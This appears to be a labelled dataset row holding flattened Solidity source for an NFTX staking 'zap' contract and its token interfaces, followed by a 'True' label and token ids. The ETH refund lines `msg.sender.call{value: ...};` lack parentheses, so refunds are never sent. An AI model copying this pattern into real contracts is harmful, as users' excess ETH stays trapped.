* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File contracts/solidity/token/IERC1155Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// File contracts/solidity/token/IERC20Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/solidity/token/IERC721ReceiverUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File contracts/solidity/token/ERC721HolderUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721HolderUpgradeable is IERC721ReceiverUpgradeable {
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
}
// File contracts/solidity/token/IERC1155ReceiverUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev _Available since v3.1._
*/
interface IERC1155ReceiverUpgradeable is IERC165Upgradeable {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// File contracts/solidity/util/ERC165Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is IERC165Upgradeable {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
}
// File contracts/solidity/token/ERC1155ReceiverUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev _Available since v3.1._
*/
abstract contract ERC1155ReceiverUpgradeable is ERC165Upgradeable, IERC1155ReceiverUpgradeable {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return interfaceId == type(IERC1155ReceiverUpgradeable).interfaceId
|| super.supportsInterface(interfaceId);
}
}
// File contracts/solidity/token/ERC1155HolderUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev _Available since v3.1._
*/
abstract contract ERC1155HolderUpgradeable is ERC1155ReceiverUpgradeable {
function onERC1155Received(address, address, uint256, uint256, bytes memory) public virtual override returns (bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(address, address, uint256[] memory, uint256[] memory, bytes memory) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
}
// File contracts/solidity/proxy/Initializable.sol
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File contracts/solidity/util/ContextUpgradeable.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File contracts/solidity/util/OwnableUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File contracts/solidity/NFTXStakingZap.sol
pragma solidity ^0.8.0;
// Authors: @0xKiwi_.
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract NFTXStakingZap is Ownable, ReentrancyGuard, ERC721HolderUpgradeable, ERC1155HolderUpgradeable {
IWETH public WETH;
INFTXLPStaking public lpStaking;
INFTXVaultFactory public immutable nftxFactory;
IUniswapV2Router01 public sushiRouter;
uint256 public lockTime = 48 hours;
mapping(uint256 => mapping(address => uint256)) private zapLock;
mapping(uint256 => mapping(address => uint256)) private lockedBalance;
uint256 constant BASE = 10**18;
event UserStaked(uint256 vaultId, uint256 count, uint256 lpBalance, uint256 timelockUntil, address sender);
event Withdraw(uint256 vaultId, uint256 lpBalance, address sender);
constructor(address _nftxFactory, address _sushiRouter) Ownable() ReentrancyGuard() {
nftxFactory = INFTXVaultFactory(_nftxFactory);
sushiRouter = IUniswapV2Router01(_sushiRouter);
WETH = IWETH(sushiRouter.WETH());
IERC20Upgradeable(address(WETH)).approve(address(sushiRouter), type(uint256).max);
}
function setLpStakingAddress(address newLpStaking) external onlyOwner {
lpStaking = INFTXLPStaking(newLpStaking);
}
function setLockTime(uint256 newLockTime) external onlyOwner {
lockTime = newLockTime;
}
function addLiquidity721ETH(
uint256 vaultId,
uint256[] memory ids,
uint256 minWethIn
) public payable nonReentrant returns (uint256) {
WETH.deposit{value: msg.value}();
(, uint256 amountEth, uint256 liquidity) = _addLiquidity721WETH(vaultId, ids, minWethIn, msg.value);
// Return extras.
if (amountEth < msg.value) {
WETH.withdraw(msg.value-amountEth);
msg.sender.call{value: msg.value-amountEth};
}
return liquidity;
}
function addLiquidity1155ETH(
uint256 vaultId,
uint256[] memory ids,
uint256[] memory amounts,
uint256 minEthIn
) public payable nonReentrant returns (uint256) {
WETH.deposit{value: msg.value}();
// Finish this.
(, uint256 amountEth, uint256 liquidity) = _addLiquidity1155WETH(vaultId, ids, amounts, minEthIn, msg.value);
// Return extras.
if (amountEth < msg.value) {
WETH.withdraw(msg.value-amountEth);
msg.sender.call{value: msg.value-amountEth};
}
return liquidity;
}
function addLiquidity721(
uint256 vaultId,
uint256[] memory ids,
uint256 minWethIn,
uint256 wethIn
) public nonReentrant returns (uint256) {
IERC20Upgradeable(address(WETH)).transferFrom(msg.sender, address(this), wethIn);
(, uint256 amountEth, uint256 liquidity) = _addLiquidity721WETH(vaultId, ids, minWethIn, wethIn);
// Return extras.
if (amountEth < wethIn) {
WETH.transfer(msg.sender, wethIn-amountEth);
}
return liquidity;
}
function addLiquidity1155(
uint256 vaultId,
uint256[] memory ids,
uint256[] memory amounts,
uint256 minWethIn,
uint256 wethIn
) public nonReentrant returns (uint256) {
IERC20Upgradeable(address(WETH)).transferFrom(msg.sender, address(this), wethIn);
(, uint256 amountEth, uint256 liquidity) = _addLiquidity1155WETH(vaultId, ids, amounts, minWethIn, wethIn);
// Return extras.
if (amountEth < wethIn) {
WETH.transfer(msg.sender, wethIn-amountEth);
}
return liquidity;
}
function withdrawXLPTokens(uint256 vaultId) public {
uint256 lockedBal = lockedBalance[vaultId][msg.sender];
require(block.timestamp >= zapLock[vaultId][msg.sender], "NFTXZap: Locked");
require(lockedBal > 0, "NFTXZap: Nothing locked");
zapLock[vaultId][msg.sender] = 0;
lockedBalance[vaultId][msg.sender] = 0;
address xLPtoken = lpStaking.rewardDistributionToken(vaultId);
IERC20Upgradeable(xLPtoken).transfer(msg.sender, lockedBal);
emit Withdraw(vaultId, lockedBal, msg.sender);
}
function lockedUntil(uint256 vaultId, address who) external view returns (uint256) {
return zapLock[vaultId][who];
}
function lockedLPBalance(uint256 vaultId, address who) external view returns (uint256) {
return lockedBalance[vaultId][who];
}
function _addLiquidity721WETH(
uint256 vaultId,
uint256[] memory ids,
uint256 minWethIn,
uint256 wethIn
) internal returns (uint256, uint256, uint256) {
address vault = nftxFactory.vault(vaultId);
require(vault != address(0), "NFTXZap: Vault does not exist");
// Transfer tokens to zap and mint to NFTX.
address assetAddress = INFTXVault(vault).assetAddress();
for (uint256 i = 0; i < ids.length; i++) {
transferFromERC721(assetAddress, ids[i]);
approveERC721(assetAddress, vault, ids[i]);
}
uint256[] memory emptyIds;
uint256 count = INFTXVault(vault).mint(ids, emptyIds);
uint256 balance = (count * BASE); // We should not be experiencing fees.
require(balance == IERC20Upgradeable(vault).balanceOf(address(this)), "Did not receive expected balance");
return _addLiquidityAndLock(vaultId, vault, balance, minWethIn, wethIn);
}
function _addLiquidity1155WETH(
uint256 vaultId,
uint256[] memory ids,
uint256[] memory amounts,
uint256 minWethIn,
uint256 wethIn
) internal returns (uint256, uint256, uint256) {
address vault = nftxFactory.vault(vaultId);
require(vault != address(0), "NFTXZap: Vault does not exist");
// Transfer tokens to zap and mint to NFTX.
address assetAddress = INFTXVault(vault).assetAddress();
IERC1155Upgradeable(assetAddress).safeBatchTransferFrom(msg.sender, address(this), ids, amounts, "");
IERC1155Upgradeable(assetAddress).setApprovalForAll(vault, true);
uint256 count = INFTXVault(vault).mint(ids, amounts);
uint256 balance = (count * BASE); // We should not be experiencing fees.
require(balance == IERC20Upgradeable(vault).balanceOf(address(this)), "Did not receive expected balance");
return _addLiquidityAndLock(vaultId, vault, balance, minWethIn, wethIn);
}
function _addLiquidityAndLock(
uint256 vaultId,
address vault,
uint256 minTokenIn,
uint256 minWethIn,
uint256 wethIn
) internal returns (uint256, uint256, uint256) {
// Provide liquidity.
IERC20Upgradeable(vault).approve(address(sushiRouter), minTokenIn);
(uint256 amountToken, uint256 amountEth, uint256 liquidity) = sushiRouter.addLiquidity(
address(vault),
sushiRouter.WETH(),
minTokenIn,
wethIn,
minTokenIn,
minWethIn,
address(this),
block.timestamp
);
// Stake in LP rewards contract
address lpToken = pairFor(vault, address(WETH));
IERC20Upgradeable(lpToken).approve(address(lpStaking), liquidity);
lpStaking.depositFor(vaultId, liquidity, msg.sender);
lockedBalance[vaultId][msg.sender] += liquidity;
uint256 lockEndTime = block.timestamp + lockTime;
zapLock[vaultId][msg.sender] = lockEndTime;
if (amountToken < minTokenIn) {
IERC20Upgradeable(vault).transfer(msg.sender, minTokenIn-amountToken);
}
emit UserStaked(vaultId, minTokenIn, liquidity, lockEndTime, msg.sender);
return (amountToken, amountEth, liquidity);
}
function transferFromERC721(address assetAddr, uint256 tokenId) internal virtual {
address kitties = 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d;
address punks = 0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB;
bytes memory data;
if (assetAddr == kitties) {
// Cryptokitties.
data = abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, address(this), tokenId);
} else if (assetAddr == punks) {
// CryptoPunks.
// Fix here for frontrun attack. Added in v1.0.2.
bytes memory punkIndexToAddress = abi.encodeWithSignature("punkIndexToAddress(uint256)", tokenId);
(bool checkSuccess, bytes memory result) = address(assetAddr).staticcall(punkIndexToAddress);
(address owner) = abi.decode(result, (address));
require(checkSuccess && owner == msg.sender, "Not the owner");
data = abi.encodeWithSignature("buyPunk(uint256)", tokenId);
} else {
// Default.
data = abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", msg.sender, address(this), tokenId);
}
(bool success, bytes memory resultData) = address(assetAddr).call(data);
require(success, string(resultData));
}
function approveERC721(address assetAddr, address to, uint256 tokenId) internal virtual {
address kitties = 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d;
address punks = 0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB;
bytes memory data;
if (assetAddr == kitties) {
// Cryptokitties.
data = abi.encodeWithSignature("approve(address,uint256)", to, tokenId);
} else if (assetAddr == punks) {
// CryptoPunks.
data = abi.encodeWithSignature("offerPunkForSaleToAddress(uint256,uint256,address)", tokenId, 0, to);
} else {
if (IERC721Upgradeable(assetAddr).isApprovedForAll(address(this), to)) {
return;
}
// Default.
data = abi.encodeWithSignature("setApprovalForAll(address,bool)", to, true);
}
(bool success, bytes memory resultData) = address(assetAddr).call(data);
require(success, string(resultData));
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
)))));
}
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5718,
1011,
2324,
1008,
1013,
1013,
1013,
4216,
16379,
2007,
2524,
12707,
1058,
2475,
1012,
1018,
1012,
1017,
16770,
1024,
1013,
1013,
2524,
12707,
1012,
8917,
1013,
1013,
5371,
8311,
1013,
5024,
3012,
1013,
8278,
1013,
1999,
6199,
2595,
20806,
5856,
8553,
1012,
14017,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
8278,
1999,
6199,
2595,
20806,
5856,
8553,
1063,
1013,
1013,
3191,
4972,
1012,
3853,
2171,
1006,
1007,
6327,
5760,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
23575,
1006,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4539,
27241,
2102,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
4638,
24164,
3669,
18507,
1006,
21318,
3372,
17788,
2575,
1031,
1033,
2655,
2850,
2696,
19204,
9821,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4638,
20806,
18507,
1006,
21318,
3372,
17788,
2575,
1031,
1033,
2655,
2850,
2696,
19204,
9821,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1031,
1033,
3638,
1007,
1025,
3853,
4638,
8095,
3170,
3669,
18507,
1006,
21318,
3372,
17788,
2575,
1031,
1033,
2655,
2850,
2696,
19204,
9821,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4638,
5562,
3669,
18507,
1006,
21318,
3372,
17788,
2575,
19204,
3593,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1013,
4339,
4972,
1012,
3853,
1035,
1035,
1050,
6199,
2595,
20806,
5856,
8553,
1035,
1999,
4183,
1035,
27507,
1006,
27507,
2655,
2850,
2696,
9530,
8873,
2290,
2850,
2696,
1007,
6327,
1025,
3853,
2077,
10020,
2705,
14659,
1006,
21318,
3372,
17788,
2575,
1031,
1033,
2655,
2850,
2696,
19204,
9821,
1007,
6327,
1025,
3853,
2044,
10020,
2705,
14659,
1006,
21318,
3372,
17788,
2575,
1031,
1033,
2655,
2850,
2696,
19204,
9821,
1007,
6327,
1025,
3853,
2077,
5596,
21564,
6806,
6559,
1006,
21318,
3372,
17788,
2575,
1031,
1033,
2655,
2850,
2696,
19204,
9821,
1007,
6327,
1025,
3853,
2044,
5596,
21564,
6806,
6559,
1006,
21318,
3372,
17788,
2575,
1031,
1033,
2655,
2850,
2696,
19204,
9821,
1007,
6327,
1025,
1065,
1013,
1013,
5371,
8311,
1013,
5024,
3012,
1013,
24540,
1013,
21307,
5243,
8663,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
